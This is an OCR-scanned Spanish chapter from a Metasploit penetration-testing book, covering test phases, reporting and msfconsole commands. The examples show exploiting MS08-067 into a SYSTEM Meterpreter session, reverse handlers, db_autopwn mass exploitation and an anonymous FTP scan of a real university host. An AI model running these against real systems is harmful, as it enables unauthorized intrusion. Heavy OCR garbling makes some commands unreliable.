- Aulomatizacién de los test de infrusion. Las empresas, a menudo, sélo pueden acepiar
fa_comprobacién in situ de los equipos, por temas econdmicos. Metaspioit Pro reduce
drdsticamente jos costes automatizando estas pruebas.

Tras el lanzamiento de las pruebas de intrusion y ia obtencién de los fallos de seguridad de la
organizacién se presenia esta informacion con una evaluacién precisa de los impactos poienciales
. . # la organizacién. Se definen medidas técnicas para reducir los riesgos a los que la organizacién se
- Simulacion de ataques. Una caracteristica interesante es la simulacion de ataques, desde encuentra expuesta.
un puiilo de vista realista, tanto en redes IPv4 como IPv6.
Los test de intrusion son valiosos y de necesidad en un entorno empresarial por las siguientes razones;
Metasploit Express - !dentiﬁcla.r vulnerabi}idades.criticas o high ;:isk las cuales son el resvitado de la utilizacién
de vulnerabilidades de menor riesgo o lower-risk.
Esta edicion estd pensada para los profesionales T1 que necesitan trabajar con test de intrusién,
sin disponer de una amplia formacién o el desarrollo requerido por Metasploit Framework. Esta
version estd pensada para no requerir.de ciertas caracteristicas avanzadas que se pueden encontrar
en Metasploit Pro. Las caracteristicas base siguen siendo las mismas que en Community Edition, ' ‘ - Testear los sistemas de proteccién de una red para verificar su comportamiento ante los
También dispone de algunas de las caracteristicas que se han comentado en Metasploit Pro. pero ) ataques y come responden a éstos.

- Identificar vulnerabilidades que pueden resultar dificiles o précticamente imposibles de
detectar con escaneres de vulnerabilidades, los cuales automatizan el proceso.



Metasploit para Pentesters

- Evaluar la magnitud de los ataques sobre los activos de la organizacion y el impacto de
éstos sobre las operaciones de la empresa.

- Determinar la viabilidad de un conjunto de vectores de ataque sobre la organizacion.

Los lest de intrusién son un componente de una auditoria de seguridad completa, es decit, por si
solos no constituyen una auditoria completa. Los test de intrusion forman parte de distintos tipos
de auditoria, como son las de caja blanca o caja negra. La principal diferencia entre ambas es la
cantidad de informacion que se dispone sobre los sistemas. La auditoria de caja negra no presenta
ningtn tipo de conocimiento a priori, por lo que el pentester o auditor deberd primero delerminar
Ja localizacion e informacion sobre los sistemas antes de comenzar el andlisis. La auditoria de caja
blanca ofrece cierto nivel de informacién al auditor sobre la infraestructura a testear, como puede ser
un diagrama de red, codigos fueates e informacion de direccionarniento iP.

También existen las auditorias de caja gris, las cuales son una prueba intermedia entre la caja negra
y blanca. Los test de intrusion se engloban en las distintas auditorias comentadas anteriormente, la
cantidad de informacion de la que se dispone a priori es la que determina ef dmbito de la auditoria.

Los test de intrusion disponen de distintas fases, las cuales se describen en el siguiente apartado. Por
lo general, se puede enfocar el test de intrusién como una serie de pasos que debe seguir el auditor,
es decir, se pueden englobar en procedimientos. En ciertos eatornos y ambilos el pentest se puede
entender como un arte, ya que {a experiencia del auditor a la hora de configurar las herramientas, la
iniuicion sobre algunos sistemas y la disciplina a la hora de Hevar a cabo el test de intrusién pueden
Hevar a cumplir los objetivos de la auditoria.

4. Fases del test de intrusion

Durante el test de intrusién se pueden destacar unas fases diferenciadas, con objetivos particulares
distintos y un objetivo comun. El objelivo comun es claramente realizar el testeo de la organizacion,
mientras que los distintos objetivos de cada fase son ayudar a la aportacion de informacion y pruebas
sobre el estado de la seguridad. Hay que recordar que presentar un sfafus de seguridad al cliente es
primordial para obtener las conclusiones sobre el estado de su organizacion.
Las fases del test de intrusién son las siguientes:

- Alcance y términos del test de intrusion.

- Recoleccion de informacion.

- Andlisis de las vulnerabilidades.

- Explotacion de las vulnerabifidades.

- Post-explotacion del sistema.

- Generacion de informes,
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El contrato: alcance y términos del test de intrusion

Bs el punto de partida en todo test de intrusion, la fase de la entrevista, de las palabras. Se debe
tlegar a un acuerdo sobre hasta dénde se quiere llegar con el test de intrusién, cual es el dmbito de
la prueba. En otras palabras, se discute cual es el alcance y los objetivos buscados por el cliente, y
deben ser bien recogidos por un contrato firmado por ambos. b

Esta etapa es una oportunidad de ir haciendo ver al cliente lo que es realmente el test de intrusion y
toda la informacion privada de la empresa que puede llegar a manejarse. Se puede ver también como
una etapa educativa hacia el cliente.

Puede ocurrir que el cliente quiera delimitar ef mbito de la prueba, por lo que se incorporen cierfas
restricciones al test. Estas restricciones, siempre y cuando vayan por contrato, deben ser tomadas
muy en cuenta por parte del auditor, ya que la informacion que se manejara seré confidencial.

Recoleccion de informacion

En esta fase se recolectard toda la informacion posible sobre la organizacion a auditar. sta
informacion puede ser obtenida por diversos medios, ingenieria social, medios de comunicacion,
publicaciones en Internet, google hacking, fooiprint, etc. Una de las capacidades mis importantes
en un auditor es la posibilidad de aprender como se comporta el objetivo, como funciona, como esté
construido y por altimo como poder atacarlo. '

Toda la informacién recopilada sobre la organizacidn es importante y permitird al auditor disponer
de una visidn global de los tipos de controles de seguridad que existan en el lugar.

Durante esta recoleccion de informacion es-importante identificar qué mecanismos de proleceién o
seguridad existen en el lugar, para poder empezar a probar los sistemas.1dentificar estas protecciones
es de vital importancia para poder estudiar como funcionan estos sistemas de seguridad.

Analisis de vulnerabilidades

Una vez que se ha realizado la recoleccion de informacion se estard en disposicion de gran cantidad
de la misma y se procedera a su andlisis. En esta informacion recopilada se pueden encontrar
vulnerabilidades existentes en un sistema. Hay ‘que realizar un modelado con toda la informacién
recopilada en la que se determinard el método de’ ataque mds eficaz, Este modelado tralard de buscar
en yna organizacion como si de un adversano se tratase y de explotar las debilidades como un
atacante lo haria. : :

Una vez que se han 1dentlﬁcado los posibles: Vectmes 0 metodos de ataque con mayor viabilidad,
habra que reflexionar sobre como acceder al sistema, Por-acceder se entiende que el posible ataque
que lance el auditor disponga de una vm dc exnonl ac:a al sxstema d explotar.

Gl analisis de vulnerabilidades debe ser. cox
aprendiendo en la fase anterior. En otras palabra‘_i

indda con- la informacion que el auditor ha ido
L na1131s de vulnerabilidades utiliza informacion
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sobre puertos, escaneos de vulnerabilidades, datos recogidos e informacién recolectada en la fase
anterior para indicar af auditor la via adecuada de acceso a la fase de explotacion.

Explotacion de las vulnerabilidades

Vsta fase es ia mds conocida por todos los lectores, y fa que mas emocién aporta al proceso de
pruebas. is 1z fase en ia que el auditor siente el cosquilleo en su interior v en la que se comprobar
si Ia recogida de nformacion y el andlisis de vulnerabilidades fueron correctos o si por el contrario
8 cayo en un falso positivo,

Un exploit debe ser lanzado si se dispone de la certeza de que obtendrernos un resultado positivo
en la prueba. A menudo, se utilizan herramientas para automatizar esta fase ¥ se lanzan exploits
sin disponer de dicha carteza. Tampoco es una mala politica, ya que la automatizacién del preceso
siempre es entendido como una buena practica, pero el auditor estd perdiendo el control sobre io yue
esta sucediendo en el entorno de 1a organizacion. '

En definitiva, se debe disponer de la certeza de que el sistema es vulnerabic para, disponiendo def

exploit, lanzar el codigo que devuelva el control sobre el sistema, Lanzar log exploits a ciegas no es
ia mejor upeidn, ya que se genera ruido sobre la organizacion, no es una accion productiva y ademas
se pierde sl control sobre o Gue se esta haciendo.

Por el contrario, se puede automatizar el proceso de lanzamiento de expleits sobre las certezas
que se dispongan, es decir, sabiendo que un sistema dispone de varias vulnerabilidades se puede
aulomatizar el proceso para expiotar todas éstas.

o

Esto fase seid explicada en mayor detalle a través del uso de Metaspioit Framework més adelanie
en este libro,

Post-explotacion del sistema

Fsla fase ¢s otra de las mas interesantes Y que mayor cantidad de excitacién puede provocar en el
auditor. Bn esta fase ya se dispene de acceso a algin sistema, pero se puede intentar acceder 2 otros
que tengan un mayor peso en la organizacién.

Por cjemplo, suponga que el auditor dispone de acceso a una mdquina, la cual tienc acceso directo »
un controiador de dominio, el cual tras estudiarlo 2 través de fa maquina vulnerada en primer lugar,
S¢recoge que también es vulnerable. Este controlador de dominio puede ser explotado por el auditoy,
a lravés de la primera maquina. Con esta acciodn, se demuestra al propietario de la organizacién el
gran impacto que supone que méquinas con, a priori, menor peso en la empresa sean vulneradas.

Ademés en esta fase se puede obtener informacién sensible, muy interesante para el informe final.
Por ejemplo, cuentas de vsuarios, las cuales pueden proporcionar al auditor acceso a otras maquinas
de la erganizacion y seguir poniendo a prueba otros sistemas dentro de la empresa. La fase de posi-
explotacion serd tratada en este libro dotandola de la importancia que dispone en un test de intrusian.

Capituio [. Conceptos basicos ' , 27

Generacion de informes ‘
Gsta fase refleja fa importancia de comunicar todo el proceso que se ha ido realizanc.lo en la{
organizacion. Es importante que el auditor vaya documentando todas las acciones y procedimientos
ilevados a cabo durante el test de intrusion. Cada fase debe estar documentada en mayor 0.1}1er101' i
medida, y es una buena practica no dejar para el final toda este proceso, Quizd la generacion del

-informe se la fase més relevante e importante del test de intrusién.

En estos documentos s debe explicar qué trabajo se ha realizado en la organizacidn, como se h'a 'hecho
dicho frabajo, es decir, herramientas y técnicas utilizadas, y lo més importante, que vulnerabilidades
han sido déscuhiertas durante el testeo de la organizacién. Come minimo el informe debe ser
dividido en 2, bien difercnciados, como son el ejecutivo y el téenico.

& informe técnico es un documento con gran nivel de detalle en el que se especifican todas
fas acciones, con fas herramientas, que se han ido utilizando y los resultados que se han ido
obteniendo. Ademis, debe acompaiiarse de una lista que indique como subsanar esos riesgos y unas
recomendaciones dei auditor.

Bl informé ejecutivo es un documento mds ameno y liviano en el que se deben especificar las
vulnerabilidades encontradas, pero sin ningtin nivel técnico. Todo debe estar explicado de tal manera
que cualquier persona sin capacidades técnicas entienda que riesgos existen en la 91‘ganizacién.
Ademds, el propietario de la organizacién esperard sus recomendaciones como profesional de la
seguridad, por lo que en este informe debe existir dicha lista.

5. Cmﬁam}% basicos de Metasploit

La interaccién con ¢l framework puede llevarse a cabo mediante el uso de distintas mterfaces como
se ha explicado antcriormente. En la mayoria de las ocasiones se utiliza la consola de Metasploit
para realizar las pruehas y gestionar todas las herramientas disponibles en el framewort,

£n un primer momesto, fa consola puede provocar cierto rechazo o temor a_l uspgrio, ya que por lo
general la mayoria de usuarios prefieren el uso de una interfaz amigable ¢ mtumva.’ Lg cqnsolfw Fie _
Metasploit es bastarte intuitiva y sencilla de utilizar, integrando comandos con sema.ntlca implicita ;
fos cuales ayudaran al usuario a configurar y moverse por el entorno de manera sencilla,

Pary lanzar la consola de Metasploit se ejecutard en una terminal el comandq msﬁons.o,/e, el cual
devolverd al usuario un prompt para la introduccién de comandos, un banner e informacién sobre el

ntimero de exploits, payloads, encoders, auxiliary y nops.

Antes de empezar a enumerar comandos y sus objetivos, se debe tener claro como se estructura%,
3/ accede  los elementos disponibles del framework. Se puede imaginar la consola de Metasploit
como un mini sistema de archivos, el cual dispone de una rajz y carpetas que cuelgm} de él. Las
carpelas que cuelgan de €l, realmente se encuentran fisicamente en la ruta dénde est instalado el
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Jramewortk. Por ejemplo, si se requiere utilizar un exploit, éstos se encontrardn en alguna ruta, como
puede ser exploit/windows/smb/psexec.

root@root:-# msfconsole

a 8 o 0

8 8 8
jooYoYo. .oPYo. o8P .oPYo. .oPYs. .oPYo. 8 .ofYo. 08 o8P
8' 8 8 800008 8 . .00008 Ybh., 8 888 8 8 8
8 6 88 ‘B B 8 b, 8 868 8 8 8
8 8 B 'Yooo' 8 g

‘YooP8 ‘YooP' &YooP YooP' 8 8

=[ metasploit v3.7.0 release [rore:3.7 api:l. 8]

+ -~ --=[ 684 exploits - 355 auxiliary
+ -~ --={ 217 payleads - 27 encoders - 8 nops . 1
et >

Fig 1.09%: Lanzamiento de msfeonsole con informacion sobre el framewortk,

Otro ejemplo podria ser si se requiere la utilizacién de un médulo auxiliary, una ruta posible seria fa
siguiente auxiliary/scanners/smb/smb2. De estos 2 ejemplos se deduce que si se requiere utilizar un
encoder su ruta comenzard por encoder/<tecnologia> y asi ocurre con los demés tipos de madulos
de los que se dispone en el framewortk.

Para acceder y obtener informacion a exploits, encoders, payloads, etc, se disponen de ciertos
comandos que se irdn explicando a conlinuacion, pero antes, hay que destacar lo que son los
elementos del frameworlk. Se pueden entender como variables que se deben configurar en el interior
de un exploit u otros médulos con los que se trabaje. Es decir, cuando se quiere configurar un
exploit, o un encoder; payload, eicétera, se disponen de unas variables que deben ser configuradas
con informacién aportada por el auditor. Por ejemplo, si se est4 configurando un exploit quesevaa
lanzar contra un equipo, existen ciertas variables o parametros que deben ser proporcionados por e}
auditor como son la direccion IP o nombre de Ia maquina sobre la que se lanzar el exploit, puerto
de destino, configuracién del payload, en el caso de que se intente provocar la ejecucion de cdigo
remoto y tomar el control de la méquina. Estos elementos o variables se muestran en maytsculas,
algo que Hamaré la atencion del auditor. Algunas variables son opcionales y otras son totalmente
obligatorias de configurar.

Module options {exploit/milti/browser/java_signed_applet):

Name Current Setting Required Description

APPLETNAME Siteloader yes The main applet’s class name.

CERTCR Metasploit Inc. yes The CN= value for the certificate.

SRVHOST 8.8.8.8 yes The local host te listen on. This must be an address on
the tocal machine or 8.8.8.9

SRVPORT 8080 yes The local.port to tisten on.

S5L false ' no Negotiate S5t for incoming connections

S5LVersion 5SL3 ne Specify the version of SSL that should be used {accepte
d: S5L2, S5L3, TLS1) .

URIPATH no The URI to use for this exploit (default is random)

Fig 1.10: Variables de un médulo de Metasploit.

Capitulo 1. Conceptos bdsicos

Comandos de ayuda y bisqueda

Existen numerosos comandos de msfconsole los cuales proporcionan ayuda al usuario dando
informacion sobre acciones que se pueden realizar con el framework o informacién sobre los médulos
disponibles. Ademas, resultan de gran utilidad los comandos para realizar blisquedas dentro de la
estructura de Metasploit, ‘

Comando: help

El comando help proporciona un listado sobre todos los comandos de consola disponibles. Seg
pueden observar 2 listas diferenciadas, core commands y database backend commands. La primera
proporciona un listado sobre los comandos del nicleo del framework, y la segunda ofrece otro’ sobre
los comandos que interactian con las bases de datos.

Existe la posibilidad de usar el pardmetro —h con los comandos para obtener una ayuda detallada
sobre la utilizacion de dicho comando. Por ejemplo, search —h, o incluso utilizando el comando /elp
delante del comando del que se requiere informacion o ayuda, help search.

Comando: search

El comando search resuita de gran utilidad para el auditor para la busqueda de médulos en funcién
de alguna caracteristica concreta. También se puede utilizar cuando el auditor tiene que comprobar
si el framework se encuentra actualizado, por ejemplo mediante la busqueda de algin exploif que se
aproveche de alguna vulnerabilidad conocida recientemente.

msf > search psexec

[*} Searching loaded modules for pattern ‘'psexec'...
Exploits '
s
Name Disclosure Date Rank Description
;lil-\t-iows/smb/psexec 1;99‘8101 ----- l;\;l.“-lal I;Iié;;;;;‘;.\:linddws Authenticated User Code E
Xec;;i\ggws/smb/smh_;elay 2001-03-31 excellent Microsoft Windows SMB Relay Code Execution

Fig 1.11: Busqueda de médulos con ciertas caracteristicas.

Como se puede obsecvar tras realizar la basqueda de un modulo con ciertas caracteristicas se obtienen
las rutas donde se alojan y donde se puede acceder al recurso. En este ejemplo, se puede visualizar
como se obtienen exploits, pero si existiesen herramientas, payloads, encoders que cumpliesen con
el patron de bisqueda también se obtendrian sus rutas para que el auditor pudiera acceder a clias de
manera sencilla.

Comandos: info y show _

El comando info aporta gran cantidad de informacién sobre el médulo seleccionado previamente
en la consola mediante e} comando use, o ejecutando el comando info seguido de la ruta donde se
encuentra el médulo concreto del que se requiere obtener informacidn, Los datos que devuelve el
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comando info son todas las opciones del médulo, objetivos y una descripcion, Por ejemplo, en el
caso de la mayoria de exploils se describe la vulnerabilidad y {as versiones vulnerables.

El comando show permite mostrar las diferentes opciones para los modulos del [framework y todos
los exploits, payloads, encoders, nops, herramientas, etc. Cuando se encuentra seleccionado un
modulo, mediante el comando use, show dispone de algunas acciones mas como es la muestra de
tas variables configurables en el médulo, show options, o los sistemas operativos vulnerables, show
targels, entre otros.

imsf > show

show all show encoders  show nops show payloads  show post
show auxiliary show exploits  show options show plugins

msT > use explolt/multl/brcwserljava signed applet

msi exploit{java_signed applet) > show

show actions show auxiliary show exploits  show payloads show targets
show advanced  show encoders  show nops show plugins

show all show evasion show options show post

msf exploit{java_signed_applet) > show

Fig 1.12: Show en funcion det dmbito con sus opciones.

Comandos de interaccién y configuracion

La mayoria de los comandos que se disponen en msfconsole son de interaccién y configuracion.
Bstos comandos van desde la simple navegacion por la herramienta, hasta fa ejecucion de un exploif
con su previa configuracion,

{omando: use

El comande use permite seleccionar el médulo, a lo largo de la estructura de directorios del
Jramework, que se requiere. Una vez se ha encontrado una vulnerabilidad en un sistema, se puede
realizar la bisqueda de la misma mediante el comando search o si se conoce la ruta dénde se aloja
el modulo, directamente cargarlo. Un ejemplo serfa use exploit/multi/handler.

Comandos: back, set, setg, unset y unsetg

Existen comandos para la configuracién de valores en los méduios que el auditor necesita
personalizar para el test de intrusion. Ademés, se ha visto como el comando use permite acceder a
mddulos concretos, pero si el auditor requiere volver atras, ;de qué comando dispone? El comando
back permite al auditor salir del médulo y colocarse de nuevo en la raiz de la consola.

Los comandos set y sefg aportan una funcionalidad imprescindible para el test de intrusion yesla
posibilidad de configurar los pardmetros de los distintos médulos. Es decir, con estos parametros
se asignardn valores a las variables que por ejemplo definen un exploit, iCuél es la diferencia? Ser
asigna un valor para un médulo concreto, mientras que sefg asigna el valor para el contexto del
Jramework. Un simil én programacion cldsica seria, sef asigna un valor a una variable local, mientras
que selg asigna un valor a una variable global.

Capitulo I. Concepios bdsicos ‘

“Hay que tener en cuenta que si se dispone de un mddulo en modo background, es décir cargado e

incluso en explotacion o realizando alguna tarea pero en segundo plano, y éste ya disponia de una
configuracion, la asignacién global de un valor no repercutiré sobre este elemento,

Los comandos unset y unselg sirven para desasignar el valor de un parametro o variable de un
moédulo. Unset desasignaré a nivel local, mientras que unserg desasignara a nivel global.

Comandos: connect e irb

El comando connect permite conectar desde la consola de Metasploit con otras méquinas para su
gestion o administracion. Simplemente, se debe indicar la direccién y el puerto al que se quicre
conectar.

Este comando es muy similar a la aplicacion nefcat y totalmente compatible con ella. Connect
dispone de pardmetros interesantes como es la posibilidad de crear una conexion segura bajo SSL.
Se recomienda utilizar este y todos los comandos siempre con el comando help en mente:

msf » connect 192.168.0.136 4444

[*] Connected to 192.168.8.136:4444

Microsoft Windows [Versifn 6.1.7601)

Copyright (c) 2802 Microsoft Corporation. Reservados todos los derechos.

C:\Users\bit>whoami
whoami
bit-pc\pablo

Fig 1.13: Conexion medianle connect con una méquina Windows.

El comando irb permite al auditor ejecutar un intérprete de Ruby para elfiamework y de esta manera
se pueden ejecutar comandos y crear scripts que automaticen ciertos procesos, todo ello en caliente.
Esta funcionalidad es interesante para conocer la estructura interna del framewortk. Se recomienda
conocer el lenguaje Ruby para utjlizar correctamente este intérprete.

Comandos: load, unload y loadpath

Metasploit en su estructura interna dispone de una carpeta dénde aloja los plugins. El comando load |

permite especificar qué plugin se quiere cargar. Por lo que si se afiaden nuevos plugins a fmme‘work
se deberan almacenar en dicha carpeta. Por otro iado, si se quiere quitar un plugin del entorno se
utilizard el comando uwrload.

También se dispone de un comando al cual se le especifica un directorio dénde se pueden enconlial
almacenados médulos, plugins o exploits externos al framework, y disponer de 0-day, Pxp/az
payloads, en un directorio de trabajo independiente.

‘msf > load wmap

{*] [WMAP 1.8] === et [ ] metasploit.com 2011
[*] Successfully loaded plugin: wmap

msf »

Fig 1.14: Cargando un plugin en el framework.

_\\I
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Comandos: check, exploit y sessions

Cuando el auditor se encuentra en la fase de explotacién, es decir, ya ha encontrado la o las
vulnerabilidades por dénde atacar al sistema, el comando check aporla la posibilidad de verificar si
el sistema es vulnerable o no, antes de lanzar el scripl.

Ef comando exploit lanza, una vez configurado el médulo seleccionado, el codigo malicioso sobre
una miquina o prepara el entorno para que una maquina sea vuinerada al acceder a un sitio en la red.
El comando dispone de varios pardmetros interesantes los cuales se especifican en Ia siguiente tabla:

Parimetro Descripeidn

Capitulo I. Conceptos bdsicos

< Bl exploit es ejecutado en segundo plano

-z No se interactiia con la sesion tras una explotacién exilosa

-e Se lanza el payload con la codificacion mediante un encoder previamente

Tabla 1.01: Pardmetros del comando exploit.

Por lo general, el comando exploit devolvera el control del sistema remoto mediante una shell
0 un meterpreter. Por Gltimo, las shell que se obtienen se organizan por conexiones y éstas son
visualizadas por el comando sessions. Este comando permite listar ¢l nimero de conexiones con
méquinas vulneradas que se disponen, que via ha sido la que ha conseguido vulnerar la maquina,
informaci6n sobre los puertos y direcciones 1P, el tipo de payload, ete. Es importante entender que
las sesiones lienen un identificador Gnico y que se debe especificar dicho identificador cuando se
quiere interactuar con una sesion remota. Los identificadores son niimeros enteros, la primera sesién
abierta dispondré del nliimero 1 y van aumentando con nuevas sesiones que se vayan consiguiendo.
En la siguiente tabla se muestran los distintos pardmetros que dispone el comando sessions:

Parametro - Descripcion

- Lista las sesiones disponibles

-v Muestra informacidn extra, es interesante utilizarlo junto al pardmetro —|

Ejecuta un script de Metasploit sobre todas las sesiones e Meterpreter disponibles.

N Su uso seria sessions —s <script> I
-K Finaliza todas las sesiones abiertas '
R Ejecuta un comando sobre todas las sesiones de Meferpreter abiertas. Su uso serfa
—b sessions —c “ping 8.8.8.8”
u Uno de los més interesantes, permite actualizar la shell remola de tipo Win32 a un

Meterpreter. Se debe especificar el 1D de la sesion

Con este pardmetro se le indica al comando sessions en que sesion se quiere

-i . . ) )
interactuar. Un ejemplo es sessions —i |

Tabla 1.02: Pardmetros del comando sessions.

msf exploit({ms08_867_netapi) > check

{*] Verifying vulnerable status... (path: 8xeBe0605s)
te} The target is wulperable.

msf exploit(mses 867 petapi) > exploit -j

t*] Exploit running as background job,

{*} Started reverse handler on 192.168.8.55:4444

nsT exploit{ms0s_067 netapi) > [*} Automatically detecting the target...

{#} Fingerprint: Windows XP - Service Pack 3 - ang:Spanish

{*] selected Target: Windows XP SP3 Spanish (NX)

[~ Attempting to trigger the vulnerability...

f*] Sending stage (749056 bytes) to 192.168.8.54

{*] Meterpreter session 1 opened {192.168.8.55:4444 -» 142, .8.54;

2-65-25 B6:42:20 6460 2.168.0.54:1043) at 201

nsf exploit{msp8_B67_netapi) > sessions -1

Active sessions

Id Type Information Connect ion

1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PRUEBAS-01766CC 192.168.0.55
14444 -> 192.168.9.54:1043 :

Fig 1.15: Verificacién, explotacion ¢ interaceitn eon sistema remoto,

Comandos: resource y makerc

El comando resource permite la carga de un fichero, generaimente especificado con la extension re,
la cual no es necesaria, con acciones especificas sobre el Jramework, Este comando es muy utilizado
para aulomatizar tareas que se deben realizar con Metasploit y las cuales se conocen de antemano o
se han realizado previamente.

Bl comando makerc almacena en un fichero el historial de comandos y acciones que se han
realizado en la sesion en curso con el framework. Es decir, sj se requiere guardar el historial del
trabajo realizado durante el dia con Merasploit, makerc Benera un listado con toda esta informacion
almacenandolo en el fichero que se le indique. Por defecto, este fichero se genera en el fiome del
usuario en un directorio oculto denominado .msf3, aunque dependers de la version de Metasploit
que se esté utilizando.

Imsf exploit{psexac) > makerc i64

{*] Saving last 4 commands to i64 ...

msf exploit{psexec) > exit

{*1 You have active sessions open, to exit anyway type “exit -y"
msf exploit(psexec) > exit -y

root@root:~# cat .msf3/i64

search smb

use exploit/windows/smb/psexec

show options

show targets

Fig 1.16: Generacién de historial de sesion.

Comandos: save y jobs :
Bl comando save aporta persistencia a la configuracion del entorno. Esto es algo realmente (tjl
cuando el test de intrusidn es largo y .con un gran nimero de caracteristicas. El fichero con la
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configuracion se almacena en e! ome del usuario en la carpeta oculta .insf3 y tiene como nombre
config. Cuando se lanza msfconsole, éste comprueba la existencia de diche fichero y si existe carga
ta configuracion almacenada en él.

Bl comando jobs muestra los modulos que se encuentran en ejecucton ex segundo planc o backgrouid.
Fste comando, ademds, permite finalizar otros trabajos que se estan ejecutando en segundo plane y
obtener informacion detallada sobre los modulos en ejecucion.

Comands: run
1 comando run permite realizar la ejecucion de un madulo auxiliory cargado ca el contexto de la
consola. .

1

anf = Use auxiliary/scanner/ftp/anonymous
st ausiiiary(anonymous) > set RHOSTS ftp.fi.upm.es
RHOSTS => fip. Snmeapm., es

imsf auxiliary {ananymeus) > run

f[t) 138.100.8.47;21 Anonymous READ {220 ProFTPDR 1.2.8 Server {ProFTPD Default Installation) [akm
BE . M B €5 )

{21 Scanned 1 of ) hosts {169% complete)

1#] auxiliary module execution completed

msi auxilinrylanonymous) > §

Fig 1.17: Bjecucion de un médulo auxiliary con run.

Comande: route

liste comando permite enrutar sockets a sesiones, disponiendo de un funcionamiento simifar al
eomando roufe en Linux. Aderads, permite la adicidn de subredes, puertas de enlace o gatewars v
mascaras de red. Este comando puede ser muy 0til en 1a téenica conocida come pivoting,

Comandos de base de datos

Metasploif permite la utilizacion de informacién almacenada en bases de datos por otras herramieneas -

de recogida de informacién y analisis. Esta funcionalidad es de gran interes en un test de intrusion,
ya que en funcidn de dicha informacién se pueden ir realizando distintas pruchas sobre los sistemas
de la organizacion.

msf > db

db_add _cred db_del_port db_import_smap_miog  db_nmap
db_add_host db_destroy db_import ip360_xml  db_notes
db_add rote db_disconnect db_impert ip list db_services
db_add_pert db_driver db_import msie xml  db_status
db_autopwn db_exploited db_import_nessus_ube db_sync
dh_connect db_export db_import_nessus_xml db _vulns
db_create db_hosts db_impert_nmap_xml  db_workspace
db _creds db_import db_import_qualys_xml

db del _host db_import amap log  db loot

Fig 1.18: Comandos de Merasploif con interaccion con la base de datos.
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Comando: db_driver
Bl comando dt:_driver indica las bases de datos que se encuentran disponibles para que Metasploit

las utilice y la base de datos configurada por defecto. Este comando permite cambiar la base de datos
que et auditor quiere utilizar,

msf » db_driver
b Active Briver: mysql
{*] Available: postgresql, mysql

msf > db_driver postgresql

i{+] Using database driver postgresql
msf{ > db_driver

1#] Active Driver: postgresql

[ Available: postgresql, mysql

Hig 1.19: Ejecucion de db_driver,

Comando: db_connect ,
it comando db_connect crea y conecta con ia base de datos, Previamente, se debe configurar
el usnario en la base de datos. Este comando prepara todas las tablas en la base de datos que se

ntiiizardn en la recoleccion de informacién y andlisis para almacenar los datos obtenidos de los
sistemas que se estén auditando.

msf > db_connect pnstgres:l.IBabc.@IZ'I.S.E,Umetaspluit

NOTICE: CREATE TAOLE will create implicit sequence "hasts_id_seq® for serial column “hosts. fd"
NOTICE: (_:F\ﬁf\r; TABLE / PRIMARY KEY will create implicit indeX "hosts pkey” for table “hosts"
{JgT{CE: CREATE TABLE will create implicit sequence “clients id seq” For serial column “clients.
id" o7

?{)TICE: CREATE TABLE / PRIMARY KEY will create implicit index “ctients_pkey” for table "clients
NO%CE: CRUATE TABLE will create implicit sequence "services id seq” for serial column “service
5.4 " - - 5,

NOTICE: CREATZ TABLE / PRIMARY XEY will creste implicit index "services pkey" for table “servic
ES" -

Fig 1.20: Crear y conectar con fa base de datos en Metasploit.

Cemandes: db_nmap y db_autepwn

El comande db_nmap ejecuta ta herramicnta nmap v almacena todos los resultados del escaneo
en ias tablas prepatadas en la base de datos previamente. El auditor debe conocer los distintog -
moditicadores o pardmetros de este escaner para sacar el maximo provecho a este proceso, Con el
parimetro —/ se muestra a ayuda de db_mmap donde se pueden consultar los distintos maodificadores
pari los distintos tipos de escaneos.

tl comando db_autopwn ayuda al auditor a lanzar una coleccién de exploits frente a una o varias
méquinas de las cuales se ha obtenido informacién, como pueden ser puertos abiertos, versiones
de productos detras de dichos puertos, versiones del sistema operativo, efcétera. Este comando eg
conocido como la merralleta de Metasploit v antomatiza en gran parte el proceso del lanzamiento de

exploits sobre vulnerabilidades descubiertas. Hay que tener en cuenta que en las dltimas versioneg
de Metasploit, en su edicién Community, este comando ha sido eliminado. Si se quiere seguir
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utilizando se recomienda actualizar manualmente el framework y no utilizar el comando msfipdate
para actualizar Metasploit.

Como pardmelros interesantes se especifican los siguientes:

Parimetre _ Descripeion

-{ Muestra todos los exploils que se estan probando -

-X Selecciona los modulos basados en vulnerabilidades referenciadas

-p Selecciona los modulos basados en puertos abiertos

-e Lanza exploits contra todos los equipos objetivo

-f Utiliza una shell inversa tras la explotacidn ‘

-b Utiliza una shell atada a un puerto aleatotio ' —

R Se le pasa un rank, para solo seleccionar modulos con cierto nivél. La ejecucion .
serfa db_autopwn —p ~ —e —r =R good [

Tabla 1.03: Parametros del comando db_anfopwn. ’ ,

Comando: db_hosts
Este comando lista las maquinas que se encuentran alojadas en fa base de datos. Proporciona

informacion interesante sobre los distintos equipos que seran auditados y de los que se disponen
datos. '

Se pueden observar datos como el sistema operativo de la maquina, direccion MAC, la version del
service pack y més informacion de utitidad. :

msf > db_hosis

Hosts

os_flaver os_sp purpose info comments

address mac name 0s_name

138.160.8.47
192.168.0.54 PRUEBAS-81768CC Microsoft Windows XP 5P3 device

Fig 1.21: Listado de maquinas almacenados en la base de datos.

Comando: db_destroy

Este comando elimina la base de datos que estd utilizando en un momento dado. También se puede
indicar la eliminacién de la base de dalos de la siguiente manera db_destroy user:password@

host:port/database.

Capitulo I. Conceptos badsicos

6. Notas éticas

Historicamente el término hacker ha definido a la persona con altos conocimientos técnic -
seguridad informatica, o informética en general, el cual dispone de la capacidad de“}ws) ~Sf)bl-c
aprender e introducirse en sistemas remotos sin autorizacion previa a (ravés de Internet, L mv%&?u_g, -m’
utilizadas por éstos son diversas, pueden ir desde la investigacidn de un fallo de segurit.l'x'da . ieclmcas
aplicacién que da acceso a una base de dalos, como el engafio o engalusamiento de cunﬁn ag o
con c'ierlos privilegios sobre un sistema mediante ingenieria social. También hay ¢ uc? 1p *«1810‘1’1 a
que historicamente, la filosofa del Aacker ha propuesto la libertad del conocimiento]q tmc L;]-L;li
jos medios digitales, es decir, utilizar la capacidad para visualizar informacion no aul‘ori" VIL'b -L'L
intencion de realizar ninguna accion sobre ella que pueda otorgar un beneficio al hacker S

Ahora, ;qué es el hacking élico? A lo largo del tiempo, el hacker ha sido tachado negalivamente, por
lo que la visién de la sociedad sobre él, no es fo que su filosofia planteaba. Quiz4, esto ha ocu;rlixl I)
por la autoproclamacion de algunos a llamarse hackers y realizar acciones so’bre sistemas ~“
objetivos de dudosa moral, ya sean econdmicos o el simple hecho de realizar una ac;:i;'m néga&ig

. sobre un usuario u organizacion.

El hacking élico nace comp una metodologia en la que se intenta educar y aprévechar las capacidades
